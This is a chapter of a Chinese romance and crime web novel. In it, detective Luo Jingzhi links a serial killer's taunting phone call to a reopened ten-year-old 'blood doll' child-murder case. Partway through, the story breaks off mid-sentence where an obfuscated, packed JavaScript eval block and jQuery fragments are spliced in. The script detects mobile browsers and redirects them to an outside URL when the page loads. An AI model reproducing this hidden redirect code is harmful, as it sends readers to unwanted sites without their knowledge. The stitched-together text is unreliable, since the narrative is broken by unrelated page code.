45. 45

作品:《对你心跳不止

    隔了几天,池念对于自己的身世已经慢慢接受。


    夏槐带着她认了夏正华,且,夏正华也公开承认已经找回自己失散多年的女儿。


    一瞬间,各大商业报道将这件事推向舆论头条。


    洛景之和洛明诚也自然已经看到。


    短短几天时间,似乎身边的人从一开始的不可思议已经慢慢转变为她怎么会那么幸运。


    再到后来的习惯。


    夏正华为她公开办了一场欢迎会,带着池念认识了各大领界的大佬,为她扩大圈子,为她物色合适的男朋友。


    还好夏槐将这件事跟夏正华说明了,否则,她怕是在多了一个父亲和妹妹的同时,还会多一个高级男朋友。


    池念将这件事的来龙去脉全部讲给洛景之听,他也是真心为她高兴。


    洛景之这段时间很闲,他每天去学校的次数曾多,总是找各种理由去找池念。


    “糖葫芦,好吃的糖葫芦,五元两根,糖葫芦~~~”


    一阵叫卖声吸引他的注意,他记得池念一直喜欢吃甜食。


    下了车,洛景之快步走过去:“老板,来两根糖葫芦。”


    “好嘞,稍等。”


    老板动作麻利:“来,您拿好。”


    “谢谢。”


    洛景之拿好糖葫芦就往学校走。


    十一月份的校园满地落叶,环卫工人不断的清理落叶,也给学校增添了些色彩。


    刚走进校园里,他看见一对疑似情侣的年轻人在交谈什么,他没太在意,可走进一看,这不是夏槐和洛延之吗?


    他不免多了些好奇。


    洛延之和宁曼曼的事,他以为会让洛延之有段时间走不出来,没想到……


    不愧是他弟弟。


    远处洛延之和夏槐似乎在交谈什么,洛景之起初还纳闷,后来反应过来,才没有去打搅他们的美事。


    正想继续找池念时,洛景之接到一个电话:“喂。”


    “是我。”对面声音柔软。


    洛景之笑着说:“我到你们学校了,什么时候下来?”


    “临时有些事被安排了,可能得晚会儿了。”池念也觉得心里过意不去,“实在不好意思呀,男朋友。”


    “男朋友又能怎么办呢,那我去车里等你,你忙完之后微信告诉我一声。”


    “行。”


    两人就这样愉快的答应好。


    洛景之看了看自己手中刚买的糖葫芦,没有池念在,他自己也不太想吃,如果等她忙完,或许这两根糖葫芦也就化了。


    想到这儿,反倒不如成全了隔壁花园里那对开屏孔雀。


    他不动声色的走过去,假意咳了咳。


    丝毫没引起两人的注意。


    此刻觉得甚是尴尬,他无奈,故意大声咳嗽,这才被洛延之注意到。


    “哥?你怎么来了?”


    洛景之依旧没有好脸色:“我站这半天了,也丝毫影响不了你们卿卿我我,大庭广众,注意一下。”


    洛延之想要解释:“不是哥,不是你想的那样。”


    “好了,我也不想知道你们是哪样,给。”他拿出刚买的糖葫芦,“本来是想送给你嫂子的,结果她临时有事晚会来,我也没了胃口,给你们吧。”


    夏槐倒是毫不客气,一手接过来:“那就谢过哥哥啦。”


    洛景之:“……”


    松了糖葫芦,洛景之第一逃离这种场合,回到车上,只要想起夏槐刚才的那声哥哥,他就觉得瘆得慌。


    不过,如果是池念这样叫他的话……


    洛景之猛地拍拍自己的脑袋:“洛景之啊洛景之,你瞎想什么呢!”


    最近发生的事情太多超乎他的意料了,很多事他都不敢相信是发生在他身边的。


    他坐在主驾驶上,调了个舒服的座位半躺在车上。


    洛景之刚躺下就又接到了一通电话,他没多想,惺忪着双眼顺手按了接听。


    “喂,哪位。”他先说。


    可电话那边迟疑了两秒没有声音,而后便传出一句话:“十年了,你们还是没能取得这场游戏的胜利,既然这样,那你们要做好准备哦,新一轮的游戏,即将开始。”


    什么?


    对方这样说话让他多了几分警觉,他再次看了看手机屏幕,显示是陌生号码。


    “你是谁?”他警觉的问。


    没想到对方直接挂了电话。


    这句话说的洛景之一头雾水,听声音他不认识,也就当这电话是打错了,或者是别人的恶作剧,就没太当真。


    这几天大大小小的案子他也没闲着,只是得空才能有时间过来陪陪池念。


    他独自放着音乐,躺下没一会儿就睡着了。


    再次醒来时,又是被一个电话吵醒,刺耳的电话铃声让他出奇的烦躁不安。


    洛景之关了音乐,几乎闭着眼睛按了接听:“谁?”


    “是我,老大,出事了!”电话那头张三焦急地说,“顾城和临县交界处的河岸边,被人发现一具女尸!”


    一听这话,洛景之瞬间坐起来,困意全无。


    他看了看手表,已经过去一个小时了,他睡了一个小时。


    “你们现在在哪儿?”


    张三:“就在案发现场!”


    “行。”


    他挂了电话就要开车离开,突然想到自己是来找池念的。


    想到这儿,他在微信打了几行字:【临时收到一个任务,我得先走一会儿,等下次得空了再来找你,你的事情慢慢做,不要着急。】


    这种事情耽误不得,尤其是命案。


    案发的之后,案情足以调动整个侦查组出警。


    张启明像往常一样出警验尸,可看到女孩的死伤后尤为震惊。


    和之前一样,所有人都忙着调查,忙着自己的工作。


    洛景之:“老张呢?”


    张三跟在他身后:“在河边。”


    “河边,又是河边!”洛景之没好气道。


    上一个刚侦破的案子也是在河边。


    老张蹲在地上,仔细观察地上的女尸,尸体身上的许多不明物被他小心装进物证袋里。


    见洛景之到来,张启明也没等他问,主动说:“这次的案子,有点棘手。”


    “棘手?咱们还没正式开始查怎么就先打退堂鼓了?”这让洛景之本就不好的心情雪上加霜。


    他说:“死者女性,十岁左右的女孩,这个女孩的死状和十年前血娃娃的案子极度相似。”


    “十年前?”


    “没错,十年前,顾城有几名女童被杀,凶手给这些女孩打扮成娃娃的样子,再将她们的手脚卸掉,然后再用胶水粘上去,目的就是让她们看上去更像娃娃,因为这个案子,我们还牺牲了一位同志。”


    洛景之问:“凶手没落网吗?”


    “当年的技术条件有限,血娃娃的案子到现在都没能破。”


    听他这样说,洛景之略有耳闻,他脑中突然闪现过一个模糊的记忆,猛然问:“老张,当年负责这个案子的人,是池国霖?”


    “你怎么知道?难道你认识池队?哦也对,他那个时候可是声名远扬,警校毕业的学生恐怕没有人不知道他。”他话脱口后,又觉得不对劲,“你那个时候好像还小吧?怎么会知道他?”


    果然是!


    这验证了他的猜想。


    “老张,这事对我很重要,你再说仔细点!”


    洛景之自从进入刑侦局后,心心念念就是要找出杀害老师的凶手,可是案子太久远了,就像张启明说的,条件有限,他没有那么大的本事,所以就一直在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049389|193773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    查,只是没想到,当年血娃娃的凶手再度作案。


    他不会放过这个机会。


    “十年前,刑侦队的队长就是池国霖,我那个时候就跟着他做事,血娃娃的案子出现后,池队所有的精力都用在追查凶手上。”


    张启明解释着:“可没过多久,我们就收到池队被人杀害的消息,我们调查发现,池队没有得罪的人,那唯一的可能就是血娃娃的凶手,当年池队还有个女儿,年满十岁,所以我们猜测,凶手原本的目标应该是他那十岁的女儿,池队为了保护女儿才被凶手杀害。”


    张启明的分析字字句句牵动着他的心。


    洛景之拧眉,丝毫不敢分身。


    “可池队被杀,他的女儿却活了下来,这是为什么?依照凶手这么变态扭曲的心理,他会在解决掉意外情况后放弃杀原本的目标吗?是凶手受了伤不能继续行凶还是其他原因,我们也不知道。”


    “然后呢?”


    “事后我们也问过这孩子,可怜的孩子眼睛受伤导致半失明,对那晚发生的事也一概不提,或许是太害怕了,毕竟经历这种事的时候她才十岁,后来池队的女儿被接到乡下生活,凶手就此收手,这个案子也就不了了之。”


    张启明说的大部分洛景之是知道的,他迫切的想知道一些他不了解的事情。


    洛景之追问:“除了这些,还有别的事吗?”


    “凶手为什么就此收手?”


    “当年,凶手给我们打电话做了一个赌注,如果十年内警方能够捉到他,他就乖乖就范,如果捉不到,那会有更多孩子遭殃,后来,池队在此条件下补充了一个条件,那就是,在这十年内,他不可以再伤害任何孩子,凶手同意了。”


    洛景之若有所思:“赌注?”


    他沉思了三秒,猛然回忆起他在池念校门口等她时,有人打给他的那个陌生电话。


    其中也是提到了十年了怎样怎样。


    洛景之惊叹道:“如果是这样,那我接到的电话并不是恶作剧,也不是别人打错的……”


    “而是,”


    他转头看向张启明:“凶手打来的!”


    “电话?什么电话?”他问。


    “老张,你能确定这次被杀的小女孩和当年血娃娃的案子是同一个凶手吗?”


    “确定,以及保证,当年的案子就是我做的尸检,别人要是想故意模仿作案手段,也不可能模仿的一模一样。”


    “好。”洛景之轻声应下,没人注意到他眼神中透露出的那一抹决心。


    他像是看到一丝希望,快速冲到车上,他记得他的行车记录仪是一直开着的。


    五分钟后,洛景之气喘吁吁地带着手机回来。


    张启明不解:“这是?”


    他喘着大气,给他按开一段录音:“你听。”


    ——十年了,你们还是没能取得这场游戏的胜利,既然这样,那你们要做好准备哦,新一轮的游戏,即将开始


    洛景之说:“当时凶手打来电话,我当时就在车里,这是我拷贝下来的。”


    张启明说:“可是,单凭录音我们也没办法查。”


    “可以,先从手机号查起。”


    “我看看电话号码。”张启明说。


    但随着看完后,他又道:“不用查了,这摆明了就是公用电话,怎么查?”


    “那,那可以从声音查。”


    涉及到池国霖的案子,洛景之有些无脑的追查出背后的真相。


    似乎没了理智。


    张启明忧虑道:“你认识那些懂声音的人吗?还是咱们局里的其他人认识?”


    “我们也不好求助,很多人为了自己的利益,不愿来协助我们,人家不想来,我们也不能强求。”


    洛景之说:“有,我认识!”


    “?”